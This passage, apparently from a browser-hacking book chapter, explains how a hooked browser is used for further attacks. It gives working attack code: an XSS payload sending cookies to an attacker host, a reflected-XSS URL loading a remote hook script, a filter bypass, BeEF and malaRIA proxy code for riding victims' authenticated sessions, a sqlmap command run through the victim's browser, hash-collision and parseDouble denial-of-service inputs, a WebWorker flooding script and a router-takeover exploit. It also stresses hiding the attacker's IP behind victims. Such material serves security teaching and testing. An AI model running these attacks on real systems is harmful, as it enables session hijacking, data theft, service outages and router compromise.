Having exploited an XSS vulnerability to hook the new origin, you now have indirect access. Because it is non-routable, all communication must go via the hooked browser. This blind hooking of the origin has provided the attacker access to an internal web application that was never thought to be accessible from the Internet.

Now a browser tunneling proxy can be used to launch further attacks at the web server. You will learn more about these attacking methods in the following sections.

Cross-site Scripting Filter Evasion

Most modern browsers implement XSS filtering controls by default and they can cause a reduction in reliability for cross-origin hooking. Bypasses in these measures will continue to be a virtual arms race, but there is likely to be one available for your hooked browser.

Chrome’s filter, also implemented in Safari (because they both use the WebKit rendering engine), is known as XssAuditor. This filter does not protect from XSS attacks delivered using data URI vectors. Mario Heiderich reported this issue to the Chrome development team in 2010.24 This bypass was not fixed at the time of this writing.

The data: URI scheme was originally created to provide a mechanism to include in-line data in HTML pages as external resources. The format is:

data:[<MIME-type>][;charset=<encoding>][;base64],<data>

When you base64-encode a raw PNG image, it will result in the following data URI:

<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA \

AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO \

9TXL0Y4OHwAAAABJRU5ErkJggg==">

Nothing prevents this scheme from including other types of content, for example by using a charset of type text/html then base64-encoding a string such as <script>alert(1)</script>. If you encode this string, it will result in the following data URI:

<iframe src="data:text/html;base64, \

PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

This is the same technique used in BeEF’s XssRays functionality with Chrome and Safari browsers. The following JavaScript snippet shows the logic:

if(beef.browser.isC() || beef.browser.isS()){

// if the browser is either Chrome or Safari

var datauri = btoa(url);

iframe.src = "data:text/html;base64," + datauri;

}else{

iframe.src = url;

}

Now that you have examined attacks you can launch as a result of an XSS vulnerability, let’s step up the game. In the next section, you will explore different ways to leverage this to meet your ends.

Proxying through the Browser

A liberal cross-origin policy that uses a wildcard or an SOP bypass allows you to use the hooked browser as an open HTTP proxy. If an SOP bypass or a misconfiguration is not available, you can still proxy requests through the hooked browser, but the SOP binds you to the current hooked origin. This is useful in situations where you hook an origin through XSS and you don’t have direct access to it. The SOP bypasses are covered in Chapter 4.

BeEF’s Tunneling Proxy extension binds a server socket on 127.0.0.1:6789 that is able to parse raw HTTP requests. The following snippet demonstrates part of this functionality:

def initialize

@conf = BeEF::Core::Configuration.instance

@proxy_server = TCPServer.new(

@conf.get('beef.extension.proxy.address'),

@conf.get('beef.extension.proxy.port')

)

loop do

proxy = @proxy_server.accept

Thread.new proxy, &method(:handle_request)

end

end

def handle_request socket

request_line = socket.readline

# HTTP method # defaults to GET

method = request_line[/^\w+/]

# HTTP version # defaults to 1.0

version = request_line[/HTTP\/(1\.\d)\s*$/, 1]

version = "1.0" if version.nil?

# url # host:port/path

url = request_line[/^\w+\s+(\S+)/, 1]

# We're overwriting the URI::Parser UNRESERVED

# regex to prevent BAD URI errors when sending

# attack vectors (see tolerant_parser)

tolerant_parser = URI::Parser.new(

:UNRESERVED => BeEF::Core::Configuration.instance.get(

"beef.extension.requester.uri_unreserved_chars")

)

uri = tolerant_parser.parse(url.to_s)

raw_request = request_line

content_length = 0

loop do

line = socket.readline

if line =~ /^Content-Length:\s+(\d+)\s*$/

content_length = $1.to_i

end

if line.strip.empty?

# read data still in the socket

# exactly <content_length> bytes

if content_length >= 0

raw_request += "\r\n" + socket.read(content_length)

end

break

else

raw_request += line

end

end

[...snip...]

end

Raw HTTP requests that arrive to the server socket are parsed and stored in BeEF’s database. Another component will then retrieve the raw request data from the database and transform it into an XMLHttpRequest. Such transformed requests are ready to be injected into the hooked browser DOM through one of the communication channels. As described in Chapter 3, the channels will be XHR-polling, WebSocket, or DNS.

The Requester server-side component injects the right BeEF JavaScript API call in the hooked browser:

def add_to_body(output)

@body << %Q{

beef.execute(function() {

beef.net.requester.send(

#{output.to_json}

);

});

}

end

The variable output, which you can see in the code snippet, is a Hash in its JSON representation, containing all the request details that need to be sent. These details are then used as input parameters for the beef.net.requester.send method. It creates an XMLHttpRequest for every entry of therequests_array array and calls beef.net.forge_request as shown here:

beef.net.requester = {

handler: "requester",

send: function(requests_array) {

for (i in requests_array) {

request = requests_array[i];

# use BeEF's forge_request API to create

# an XHR object with all the required info

beef.net.forge_request('http', request.method, request.host,

request.port, request.uri, null, request.headers, request.data,

10, null, request.allowCrossDomain, request.id, function(res,

requestid){

# the callback to be executed, which sends back

# to the server the XHR response data

beef.net.send('/requester', requestid, {

response_data: res.response_body,

response_status_code: res.status_code,

response_status_text: res.status_text,

response_port_status: res.port_status,

response_headers: res.headers});

});

}

}

};

The last input parameter of forge_request is an anonymous function used as a callback and invoked when the forge_request has completed. This results in calling beef.net.send, in order to send back to BeEF the XHR response data such as status, headers, and body. The server then strips part of the HTTP response headers, mainly cache and encoding related fields, and adjusts the Content-Length response header. Such response normalization is required because the original HTTP response was the one retrieved with XMLHttpRequest, and it may contain GZIP encoding headers. If the Tunneling Proxy server keeps such headers, they might cause Content-Length mismatch issues, because the hooked browser already decoded the response when the XHR response was obtained.

At this stage, the normalized raw HTTP response can be sent back to the socket that originally dispatched the request to BeEF’s Tunneling Proxy on port 6789. Depending on the polling timeout configured within BeEF, the response timing of the application you’re targeting, and the bandwidth of the hooked browser, you will notice a few seconds’ delay when receiving responses.

The diagram in Figure 9-16 shows a high-level view of the Tunneling Proxy internals.

Figure 9-16: BeEF’s Tunneling Proxy internals

image

To minimize these delays, BeEF’s WebSocket communication channel can help. The channel is disabled by default, so this will have to be enabled first. WebSocket is a streaming protocol and is much faster than the default XHR-polling channel. The WebSocket channel is enabled only if the hooked browser fully supports it, so you don’t have to worry about losing the possibility of hooking older browsers.

Browsing through a Browser

One of the most common proxy configurations is with a browser using a standard HTTP proxy as the intermediary when browsing the Internet. Let’s tweak this model a little.

Instead of your standard HTTP proxy, you insert the hooked browser. Now the intermediary is the hooked browser and not only does it proxy your requests, but all the requests are sent with the proxy’s permissions. The result is the hooked browser allows you to browse the hooked origin, which potentially was previously out of your reach.

Importantly, every request is sent with all the permissions of the hooked browser. As was previously highlighted in this chapter, if the target is authenticated to an application, your attacker browser is too. In Figure 9-17 you will notice the Opera browser has been configured to use127.0.0.1:6789 — BeEF’s Tunneling Proxy URI — as the default HTTP proxy.

Figure 9-17: Opera using BeEF’s Tunneling Proxy

image

From the Opera browser, the attacker is then requesting the /dvwa/vulnerabilities/upload resource, part of the hooked domain. The request arrives at the Proxy, as you can see from the logs in Figure 9-18, and is then translated to an XMLHttpRequest and injected into the hooked browser.

Figure 9-18: Tunneling Proxy debug logs

image

In Figure 9-19, you can see the raw request and response headers for the XMLHttpRequest object as injected into the Firefox hooked browser, which is requesting and correctly retrieving the /dvwa/vulnerabilities/upload resource. Note that the User-Agent and source IP are still those of the hooked browser.

Figure 9-19: The hooked browser (Firefox) proxying a request

image

All the requests and responses that go through the Tunneling Proxy are stored in BeEF’s database. They are available for inspection in the admin UI, as you can see in Figure 9-20. You can order them by path, request or response time, domain, and so on. This will provide you with a historical view of all requests you sent to the target.

Figure 9-20: All the Proxy request/response pairs can be analyzed in detail in BeEF’s admin UI.

image

Bypassing HttpOnly

Authenticating to web applications has become so common that most people don’t give it a second thought. But, as we know, HTTP is a stateless protocol, so by default the protocol doesn’t have any native method to handle the concept of a state, or a session. To make HTTP behave in a stateful manner, and subsequently to allow the concept of user sessions, cookies were introduced.25 Unfortunately, cookies have always been a fragile way to distinguish between an authenticated and a non-authenticated web application user.

Cross-site Scripting Cookie Theft

You may recognize the following popular XSS vector for stealing session cookies:

<script>document.location.href="browserhacker.com/ \

cookies?c="+document.cookie</script>

In order to ride the session the attacker could set their cookies with the newly attained value. This simple process uses JavaScript to snatch the cookie containing the session token.

In an attempt to mitigate cookie theft resulting from this vulnerability, web application developers started to add more security checks, such as enabling the HttpOnly flag. This flag should prevent JavaScript from reading cookies and thus stop the attacker from accessing the session. If that was not enough, some web developers started to validate the Referrer, User-Agent headers, and even source IP.

However, these additional security measures can be bypassed if the web application is vulnerable to XSS. The following sections show how you as an attacker can circumvent these measures.

Bypassing HttpOnly using Proxying

The HttpOnly flag on a cookie prevents it from being accessed by the scripting languages that run in the browser. When this flag is set, the cookie still functions normally in all other situations. For example, the cookie is still sent with every request to the origin that initially set it.

You can’t directly access the session token contained in the cookie, but you can create requests that will send it in the headers. That is, by sending instructions to the browser, it can be told to send requests to the origin. The result is that the cookie is included in the request and you will be sending authenticated requests with full access to the response content.

Under these conditions, you do not need access to the cookie because you can proxy through the browser. At no time do you need to read the session token containing the session cookie.

Let’s explore this further using a great learning tool, the Damn Vulnerable Web App.26, also known as the DVWA. The DVWA is a purposefully vulnerable web application to aid in learning about security issues. It doesn’t use the HttpOnly flag in the Set-Cookie header, but you are going to add it for demonstration purposes. To add support for that flag, you can modify dvwa/includes/dvwaPage.inc.php by adding the following code after line 11:

$current_cookie = session_get_cookie_params();

$sessid = session_id();

setcookie(

'PHPSESSID',//name

$sessid,//value

0,//expires

$current_cookie['path'],//path

$current_cookie['domain'],//domain

false, //secure

true //httponly

);

After this quick-and-dirty patch, every time a PHPSESSID cookie is created, it will set the HttpOnly flag. Now you have hardened (just a little) the DVWA, so let’s circumvent this protective measure.

To demonstrate that you don’t need to read cookies to ride the target session, you can hook the DVWA origin and proxy through that browser. After the browser is hooked, you can use BeEF’s Tunneling Proxy to tunnel requests through the hooked browser. This effectively forces it to trust your requests in the context of the authenticated session. The following URL will hook the DVWA origin via a post-authenticated Reflected XSS vulnerability:

http://browservictim.com/dvwa/vulnerabilities/xss_r/?name=\

%3Cscript%20src=%22http://browserhacker.com/hook.js%22%3E%\

3C%2Fscript%3E#

In Figure 9-21 you can see the raw request/response from the Tunneling Proxy logs, using Opera to browse the hooked domain.

Figure 9-21: Proxying an authenticated resource

image

In Figure 9-22 you will note that the Firefox hooked browser has requested the /dvwa/vulnerabilities/exec URL, automatically appending the correct PHPSESSID cookie value to the request.

Figure 9-22: The hooked browser proxying the authenticated resource

image

This highlights that the HttpOnly flag is not effective against Session Riding attacks using advanced techniques like the Tunneling Proxy. Attacks that involve stealing cookies and replacing their values in the attacker’s browser are obsolete today in the presence of hooked browsers. Even in cases where the application is using two-factor authentication or other advanced validations such as source IP or User-Agent checks, a single XSS leading to Session Riding attacks brings all these layers down.

The application will not be able to distinguish between legitimate requests coming from the target browser, and requests forged by the attacker but still issued by the target browser. Source IP and User-Agent will be identical, and two-factor authentication doesn’t count because the target’s session can be ridden. In this case HttpOnly flags don’t help either, as demonstrated in the previous examples.

Burp through a Browser

Why stop at simply browsing the hooked domain through the target’s browser when you can also start looking for additional vulnerabilities like SQL injection or Remote Command Execution? BeEF’s proxy doesn’t just accept connectivity from browsers. It can accept web traffic from any web client software.

A popular method to find these sorts of vulnerabilities is by using Dafydd Stuttard’s Burp Suite.27 Penetration testers frequently use Burp when searching for security vulnerabilities. Burp can be used not only on web applications, but any applications or systems that use HTTP as the main protocol.

Funnily enough, the following scenarios will get you using a proxy behind a proxy. In this case, you want to proxy Burp through BeEF’s Tunneling Proxy. Burp supports upstream HTTP (or SOCKS) proxy settings, as you can see in Figure 9-23.

Figure 9-23: Burp using BeEF’s Tunneling Proxy as an upstream proxy

image

The next step is to configure a browser to use Burp as its default proxy. Continuing with our examination of the DVWA, if you browse within the app, starting with the hooked page /dvwa/vulnerabilities/xss_r, you will notice under Burp’s SiteMap tab that additional resources are being discovered. a links and form actions are recognized by Burp, and the resources they point to are added to the SiteMap tree. After you have a few resources in the SiteMap tree, you can use Burp’s Spider component to discover additional resources, as shown in Figure 9-24.

Figure 9-24: Adding a website resource branch to Burp’s Spider scope

image

The Spider will hopefully discover many new resources that you can inspect for security vulnerabilities. For instance, if the Spider stumbles upon the /dvwa/vulnerabilities/sqli/ resource, you should see it expects an id parameter. Changing the default parameter input to different integer numbers using Burp’s Repeater component, you notice a different output, so you rightly think a query to some kind of data storage is happening there.

At this stage you may want to check if the resource is affected by SQL, LDAP, or XML injection. If you are using Burp Suite Professional, you can use the Scanner component, as you can see in Figure 9-25 and Figure 9-26.

Figure 9-25: Starting an active scan on a specific resource

image

Alternatively, if you don’t have Burp Suite Professional, you can still use the free version with the Intruder component, which allows you to fuzz a resource defining injection points and payloads. The Intruder is a great component in Burp that penetration testers use frequently even while still having access to the more automatic Scanner, because it can be highly customized by adding your own attack vectors and output filtering rules.

Figure 9-26: Discovery of a vulnerable resource

image

As shown in Figure 9-26, it appears as if the resource /dvwa/vulnerabilities/sqli/?id=xyz is vulnerable to SQL injection, and the database appears to be MySQL.

Launching the attacks through the target’s browser not only transmits the malicious requests in the context of the hooked origin, but it also increases anonymity. The logs on the target web server will contain the IP address of the hooked browser and not the attacker’s.

Sqlmap through a Browser

Sqlmap,28 one of the more popular open source tools for exploiting SQL injection, can be used through the Tunneling Proxy as well. If you don’t have an SOP bypass, you’re limited to targeting the hooked domain. As mentioned earlier, the target will receive malicious SQLi payloads coming from the hooked browser, not directly from the attacker source IP. This attribute of stealth may be particularly useful, depending on the other layered controls that may be in place protecting the web application.

Let’s say you were using the Tunneling Proxy and Burp, similar to the earlier scenario, and you discover a resource that Burp marks as vulnerable to SQL injection. In this case, /dvwa/vulnerabilities/sqli/?id=abc appears to be exploitable. To employ Sqlmap to exploit this vulnerability, use the following command and parameters:

./sqlmap.py --proxy http://127.0.0.1:6789 -u \

"http://172.16.37.147/dvwa/vulnerabilities/sqli \

/?id=abc&Submit=Submit" -p id -v 3 --current-db

Note the use of the --proxy option, specifying the URI of the BeEF proxy. Inspecting the hooked browser raw requests with Firebug, you can see the malicious URL-encoded SQLi attack vectors in Figure 9-27.

Figure 9-27: The hooked browser issuing a Sqlmap request

image

BeEF’s admin UI allows you to investigate all requests and responses submitted through the hooked browser. This information may be valuable in an attack situation. Figure 9-28 demonstrates how you can inspect the raw HTTP request containing the vector to retrieve the current database name, and the related response that contains the expected value dvwa.

Figure 9-28: The Sqlmap request in BeEF’s admin UI

image

In Figure 9-29 Sqlmap is being used through the BeEF Tunneling Proxy to retrieve the current database name used by DVWA.

Figure 9-29: Sqlmap retrieving the database name

image

Browser through Flash

The security issues related to permissive (or liberal) Flash, Java, Silverlight, and CORS cross-origin policies were discussed in Chapter 4. In this section, you revisit SOP misconfigurations within Flash data, specifically issues in the crossdomain.xml file. If the domain browservictim.com has a root/crossdomain.xml policy like the following, it explicitly allows Flash SWFs or Java applets loaded from any domain to send requests and read responses from browservictim.com:

<?xml version="1.0" encoding="UTF-8"?>

<cross-domain-policy>

<allow-access-from domain="*" />

</cross-domain-policy>

Along with the crossdomain.xml misconfiguration, a couple of prerequisites are needed to ride the authenticated session of the target. The first is that the target needs to be logged in to the browservictim.com origin. The second is that you control a (different) hooked origin with the same browser.

With these prerequisites met, the next step is to embed the proxy SWF file into the hooked origin. Now authenticated requests can be proxied through the target’s browser. Such behavior is possible because the malicious SWF file, loaded from a different origin, is allowed to connect tobrowservictim.com thanks to the <allow-access-from domain="*" /> policy definition.

Erlend Oftedal wrote a Proof of Concept framework called malaRIA,29 which demonstrates how you can exploit liberal cross-origin policies tunneling requests through a Flash SWF or Silverlight widget.

The high-level diagram in Figure 9-30 shows how malaRIA works:

Figure 9-30: High-level of malaRIA used to proxy requests through Flash

image

MalaRIA consists of two components: the Flash or Silverlight client widgets and the proxy back end. Both client widgets work in the same way, but only the Flash widget is covered here. The following code is an excerpt of the SWF Flex source code of malariaproxy.mxml. As soon as the browser loads the SWF file, it connects back to the proxy back end, waiting for instructions:

<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"

layout="absolute" xmlns="*"

creationComplete="useHttpService()">

<mx:Script>

<![CDATA[

[...]

/* Connect back to the proxy backend*/

public function useHttpService():void {

socket = new Socket();

ExternalInterface.call("log", "Connecting back to malaRIA");

socket.addEventListener(Event.CONNECT, this.connectHandler);

socket.addEventListener(ProgressEvent.SOCKET_DATA, this.onData);

socket.connect("browserhacker.com", 8081);

}

/*handle data coming from the proxy backend*/

private function onData(event:ProgressEvent):void

{

ExternalInterface.call("log", "Got data from proxy");

var data:String = socket.readUTFBytes(socket.bytesAvailable);

handle(data);

}

public function handle(data:String):void {

var regresult:Object = /([^ ]+) ([^ ]+) ([^ ]+)( (.*))?/.exec(data);

var verb:String = regresult[1];

var url:String = regresult[2];

var accept:String = regresult[3];

var reqData:String = regresult[5];

ExternalInterface.call("log", "Trying: [" + verb + " " + url + " "

+ accept + " " + (verb == "POST" ? " " + reqData : "") + "]");

/* issue the request to the target, as requested by the proxy*/

var urlRequest:URLRequest = new URLRequest(url);

urlRequest.method = (verb == "POST") ? URLRequestMethod.POST :

URLRequestMethod.GET;

if (reqData != null && reqData != "") {

urlRequest.data = new URLVariables(reqData);

}

var loader:URLLoader = new URLLoader();

loader.dataFormat = URLLoaderDataFormat.BINARY;

/* send back the response to the proxy*/

loader.addEventListener(Event.COMPLETE, onComplete);

loader.addEventListener(IOErrorEvent.IO_ERROR, onIOError);

loader.load(urlRequest);

ExternalInterface.call("log", "Sent");

}

public function onComplete(event:Event):void {

socket.writeUTFBytes(event.target.bytesTotal + ":");

socket.writeBytes(event.target.data);

socket.flush();

ExternalInterface.call("log", "Sending back data - length " +

event.target.bytesTotal + " (" + event.target.data.length + ")");

}

[...]

</mx:Script>

</mx:Application>

You can start the proxy back end with the following command:

sudo java malaria.MalariaServer browserhacker.com 8081

This command binds the malaRIA back end on port 8080. You want to point your browser to this port to allow all the traffic to be relayed through the SWF widget injected in the target’s hooked browser. Port 8081 is used by the malaRIA back end to handle reverse connections coming from the widget. You need root privileges to start the server because the application binds two additional sockets on ports 843 and 943. This is demonstrated in Figure 9-31.

Figure 9-31: malaRIA proxy ready to receive connections from the SWF widget

image

These two ports are required because when the SWF or Silverlight widget connects back to the malaRIA server, it first needs to retrieve the cross-origin policy for browserhacker.com. If the widget is SWF, it tries to retrieve the policy from port 843. However, if it’s Silverlight it points to port 943. This is why the FlexPolicyServer.java class, part of the proxy back-end code, has the following method that returns the right cross-origin policy:

public static void printFlexPolicy(PrintStream clientOut, \

String hostname, int port) {

clientOut.print("<?xml version=\"1.0\"?>\n");

clientOut.print("<!DOCTYPE cross-domain-policy SYSTEM \

\"/xml/dtds/cross-domain-policy.dtd\">");

clientOut.print("<cross-domain-policy>");

clientOut.print("<site-control permitted-cross-domain- \

policies=\"master-only\"/>");

clientOut.print("<allow-access-from domain=\"" +

hostname + "\" to-ports=\"" + port + "\" />");

clientOut.print("</cross-domain-policy>");

}

To generate the Flash SWF file from the Flex source, you need to use Adobe’s Flex SDK. You can compile the source code with the following command:

mxmlc --strict=true --file-specs malariaproxy.mxml

The next step is to embed the SWF file previously generated in an HTML file like the following:

<head>

<script>

function log(msg) {

var elm = document.getElementById("log");

elm.innerHTML += msg + "<br />";

}

</script>

</head>

<body>

<div id="log">

</div>

<object width="0" height="0">

<param name="movie" value="malariaproxy.swf">

<embed src="malariaproxy.swf" width="0" height="0"></embed>

</object>

To better understand what’s happening under the hood, the code contains an additional logging facility, the log() function. Integrating this with BeEF, you may want to inject the SWF in an already hooked page, removing the logging facility that uses ExternalInterface.call to send messages from the SWF to the DOM.

In the following example, the target is logged in to browservictim.com/dvwa/instructions.php. The domain exposes the /crossdomain.xml resource, which is an open cross-origin policy that allows connections from any domain.

You trick the target into opening http://browserhacker.com/malariaproxy.html, which embeds the malicious malaRIA SWF file. At the same time, you open another browser (Opera) that is configured to use the malaRIA HTTP proxy back end. Now you can simply request an authenticated page such as http://browservictim.com/dvwa/vulnerabilities/upload.

As a result, the proxy back end sends the request details to the SWF, as shown in Figure 9-32. The SWF returns the related response to the proxy back end, which then returns the response to your browser. This behavior is similar to BeEF’s Tunneling Proxy. The main difference is that instead of using JavaScript to send the requests, an SWF file is used.

Figure 9-32: malaRIA logs from both the proxy back end and the SWF file.

image

Because the target is authenticated to browservictim.com, the SWF can issue authenticated requests to that same domain. As demonstrated in Figure 9-33, the requested authenticated resource is correctly retrieved, without any knowledge about cookies or credentials.

Figure 9-33: Attacker’s browser configured to use malaRIA proxy

image

At this stage, you are effectively riding the target’s session. This example is using Flash, but you can obtain the same results with a malicious Silverlight widget.

The powerful thing about exploiting a liberal cross-origin policy is that after you inject your widget into the target’s browser, you can use it to connect to every origin on the Internet with this misconfiguration. If the target happens to be authenticated to multiple different origins, and all of them expose a liberal cross-origin policy, the impact of the attack will be much greater. Your malicious widget can now issue requests to all these origins and proxy the responses.

Launching Denial-of-Service Attacks

When considering Denial-of-Service (DoS) attacks, most people think of a computer botnet issuing stupendous amounts of requests. As you know, the browser issues requests too and they can be sent cross-origin with minimal instruction. In this section, you’ll explore the consequences of employing this functionality in DoS attacks.

Web Application Pinch Points

Many web applications have pages or resources that may require computational power or time to complete. A dynamic resource that executes a query joining multiple, potentially large tables requires more time to complete. This is particularly the case compared to a static resource, such as an image or just a static HTML file. If you want to generate a DoS condition, or just slow down a target application, it would be simple enough to send multiple requests to one of these slow-responding resources. This can be amplified by sending these requests from multiple sources at the same time. It may actually be more feasible and convenient to slow down or DoS a server by targeting pinch points in a web application than simply relying on TCP-based SYN-floods.

Multiple vulnerabilities have been discovered in programming languages like Java, PHP, and Python that introduce DoS conditions at the language layer. These have exploited how the parsing of big numbers or dealing with specially crafted Hash data structures can slow down processing to a crawl. These attacks potentially affect every application using that programming language, exposing a much larger attack surface than simply attacking a single application.

DoSing web applications by requesting slow-responding and dynamic resources is discussed in the next section.

Hash Collision DoS

In late 2011, it was disclosed30 that multiple programming languages, including PHP, Python, Java, and Ruby were vulnerable to DoS attacks if a specially crafted hash table was evaluated. Many web application frameworks developed in these languages unfortunately had one thing in common: they parsed raw HTTP requests and stored headers and body information in hash objects. From a development point of view, this is a convenient way to store and query the HTTP Request object. HTTP parameters are key=value, the same as hash data structures that are key=value.

A hash table by definition can’t contain duplicate key entries, and the algorithmic complexity of trying to insert N entries that share the same colliding key becomes O(n^2). The developers of other languages (such as Perl) foresaw this same potential issue in 2003, and added randomization to their hash functions. Their proactive efforts resulted in effectively preventing this DoS.

String hash functions used by Java and PHP use the DJBX33A algorithm, which is vulnerable to the so-called “Equivalent substrings” attack. Let’s explore this attack with the following code snippet in Java:

public class HashCode{

public static void main(String[] args){

String a = "Aa";

String b = "BB";

String c = "AaBBBBAa";

String d = "BBAaAaBB";

System.out.println("Hash code for "+a+":" + a.hashCode());

System.out.println("Hash code for "+b+":" + b.hashCode());

System.out.println("Hash code for "+c+":" + a.hashCode());

System.out.println("Hash code for "+d+":" + b.hashCode());

}

}

If you run this code, it will output the same hash code for all four different strings: 2112. This behavior can be exploited by creating a Hash table that contains such strings as keys, which collide from the hash code perspective. This situation is very computationally expensive,31 and can be amplified by having the application process multiple large hashes with colliding keys at the same time.

Exploiting the fact that many web application frameworks parse raw HTTP requests by storing data in a Hash table allows you to submit a POST request with a body containing parameter keys that will collide. For instance:

Aa=Aa&BB=BB&AaBBBBAa=AaBBBBAa&BBAaAaBB=BBAaAaBB&[...]

This serves as an interesting example of how simple design decisions can introduce a widely impacting vulnerability.

Function parseDouble() DoS

In 2011, Rick Regan and Konstantin Preißer found32 that Java versions 1.5 up to 1.6 update 22 and PHP versions 5.2 and 5.3 were vulnerable to DoS attacks when converting a String to a Double precision Float number (Double object in Java). If a web application was using vulnerable code such as Double.parseDouble(request.getParameter("id")); and the value of the id parameter was 2.2250738585072012e-308 or 0.022250738585072012e-00306, the code would enter into an infinite loop. This would effectively DoS either the web application or the application server. Such behavior was due to a bug in the floating-point implementation of Java and PHP.

This attack is trivially launched cross-origin from the hooked browser, potentially even blindly. It is enough to create either a GET or POST request to a Java servlet that accepts numeric parameter values, using as a value one of the numbers presented earlier.

DDoS Using Multiple Hooked Browsers

There is no necessity for a DoS attack against a web application to originate from an operating system fully under the control of an attacker. The HTTP requests that stress pinch points can just as successfully be launched from a web browser or even multiple browsers simultaneously. Employing multiple browsers effectively creates a Distributed Denial-of-Service attack (DDoS).

Consider the following simple Ruby web application. The application accepts two requests: a POST request, expecting two parameters that are used to insert new data into a MySQL database; and a GET request that queries the same database with join between the two tables:

require 'rubygems'

require 'thin'

require 'rack'

require 'sinatra'

require 'cgi'

require 'mysql'

class Books < Sinatra::Base

post "/" do

author = params[:author]

name = params[:name]

db = Mysql.new('127.0.0.1', 'root', 'toor', 'books')

statement = db.prepare "insert into books (name,author) \

values (?,?);"

statement.execute name, author

statement.close

"INSERT successful"

end

get "/" do

book_id = params[:book_id]

db = Mysql.new('127.0.0.1', 'root', 'toor', 'books')

statement = db.prepare "select a.author, a.address, b.name \

from author a, books b where a.author = b.author"

statement.execute

result = ""

statement.each do |item|

result += CGI::escapeHTML(item.inspect)+"<br>"

end

statement.close

result

end

end

@routes = {

"/books" => Books.new,

}

@rack_app = Rack::URLMap.new(@routes)

@thin = Thin::Server.new("172.16.37.150", 80, @rack_app)

Thin::Logging.silent = true

Thin::Logging.debug = false

puts "[#{Time.now}] Thin ready"

@thin.start

You can probably already see the application pinch points from the code; the join is between two tables, one of which is the same table that gets updated through the POST request. If you’re able to issue multiple POST requests with a lot of POST data at the same time as executing multiple GETrequests, the join operation will be working on growing data as more requests arrive at the application.

The best way to issue multiple cross-origin HTTP requests from a hooked browser is using a WebWorker. This approach minimizes the risk to impact the performance of page rendering and other browser processing duties. WebWorkers were introduced in HTML5 and are supported by all modern browsers including IE10. WebWorkers are a mechanism to execute scripts in background threads. The code executed inside a WebWorker cannot directly modify the DOM of the page, but can issue XHRs.

To start a WebWorker job, you can use the following code:

var worker = new Worker('http://browserhacker.com/worker.js');

worker.onmessage = function (oEvent) {

console.log('WebWorker says: '+oEvent.data);

};

var data = {};

data['url'] = url;

data['delay'] = delay;

data['method'] = method;

data['post_data'] = post_data;

/* send the config options to the WebWorker */

worker.postMessage(data);

postMessage() is being used to share data between the DOM where your JavaScript hooking code is running, and the WebWorker. The WebWorker code can be something like the following:

var url = "";

var delay = 0;

var method = "";

var post_data = "";

var counter = 0;

/* gets the data via postMessage */

onmessage = function (oEvent) {

url = oEvent.data['url'];

delay = oEvent.data['delay'];

method = oEvent.data['method'];

post_data = oEvent.data['post_data'];

doRequest();

};

/*prevents caching adding a random paramater to the URL*/

function noCache(u){

var result = "";

if(u.indexOf("?") > 0){

result = "&" + Date.now() + Math.random();

}else{

result = "?" + Date.now() + Math.random();

}

return result;

}

/* every <delay> milliseconds issue a

* POST or GET request */

function doRequest(){

setInterval(function(){

var xhr = new XMLHttpRequest();

xhr.open(method, url + noCache(url));

xhr.setRequestHeader('Accept','*/*');

xhr.setRequestHeader("Accept-Language", "en");

if(method == "POST"){

xhr.setRequestHeader("Content-Type",

"application/x-www-form-urlencoded");

xhr.send(post_data);

}else{

xhr.send(null);

}

counter++;

},delay);

/* every 10 seconds let the invoker know how

* many requests have been sent */

setInterval(function(){

postMessage("Requests sent: " + counter);

},10000);

}

If you inject this code into two different hooked browsers targeting the same Ruby web application from earlier in this section, you will see an increase in resource utilization. Figure 9-34 shows the system load during normal application usage.

Figure 9-34: Normal system load

image

After starting a WebWorker using the previous JavaScript code, you will see a slight increase in the load, as shown in Figure 9-35.

Figure 9-35: System load with one hooked browser

image

You can see the difference in terms of system load in Figure 9-36, where another WebWorker has been started on a different hooked browser, sending POST requests every 10 milliseconds. The load changes so dramatically compared to Figure 9-35. This is because one browser is issuing POSTrequests, which results in a database insert statement. This happens at the same time as another hooked browser is issuing GET requests that result in a join operation across a data set that becomes bigger after each request. All this activity causes the load increase.

Figure 9-36: System load with two hooked browsers

image

After identifying similar web application pinch points, which may not be limited to database operations but also file uploads, you can easily DoS any web application. These DoS attacks may be more effective if you have multiple hooked browsers you can control, and you can instruct all of them to point to the same target, increasing the volume of concurrent requests per second.

Launching Web Application Exploits

Remote Command Execution (RCE) vulnerabilities are another class of vulnerability that may not require access to the HTTP response, and therefore can be performed blindly. This is an important attribute of a potential attack when you’re constrained by the SOP without a bypass, and you can’t read HTTP responses. If you know that a web application is vulnerable to RCE, you may just need to send the malicious request without worrying about the response.

There are two main advantages of launching such exploits from the hooked browser, and not directly from your machine. The first one is the increased anonymity, because the source IP of the attack will be the target’s. Secondly, targets on the intranet might also be in range of the hooked browser and their security is likely to be less mature than devices directly accessible from the Internet. This brings a whole new set of targets into reach.

In the following sections, various real-world web application vulnerabilities are presented. Even if you previously knew of these, you will see how to reliably launch exploits against these vulnerabilities through a hooked browser.

Cross-origin DNS Hijack

One of the more nefarious things you can do when targeting home routers is to change the DNS server details. Most home routers are both a DHCP and DNS service for all the devices connected to them. Usually the default DNS address points to the DNS servers of the ISP of the user.

If you are able to change the DNS address configured in the router with one that you control, you can quite easily perform DNS Spoofing attacks, like those discussed in the Man-in-the-Middle scenarios from Chapter 2.

There have been multiple examples of such attacks in the wild. One of the most significant examples happened between 2011 and 2012 in Brazil.33 According to Brazilian CERT,34 more than 4.5 million routers were compromised. The vulnerable router in question was a Comtrend CT-5367 device, which had remote administration functionality enabled. Furthermore, the router was also vulnerable to password-reset vulnerabilities.35 The wide-scale attack was broken down into the following phases:

1. The attackers port scanned millions of hosts inside Brazilian ISP network ranges, verifying which discovered hosts were the vulnerable Comtrend routers.

2. Next, the attackers changed the DNS settings in the vulnerable routers to use one of almost 40 different rogue DNS servers under their control.

3. Finally, they spoofed the DNS responses for Google, Facebook and other popular websites, redirecting them to phishing sites that were delivering Java exploits such as CVE-2012-1723 and CVE-2012-4681.

An attack exploiting the Comtrend router is shown in the following code. When executed on the hooked browser, it will change the default passwords and enable remote administration:

var gateway = 'http://192.168.1.1/';

var passwd = 'BeEF12345';

// enable remote administration (if disabled)

var iframe_1 = beef.dom.createInvisibleIframe();

iframe_1.setAttribute("src",

gateway + "scsrvcntr.cmd?action=save&ftp=1&ftp=3" +

"&http=1&http=3&icmp=1&snmp=1&snmp=3&ssh=1&ssh=3" +

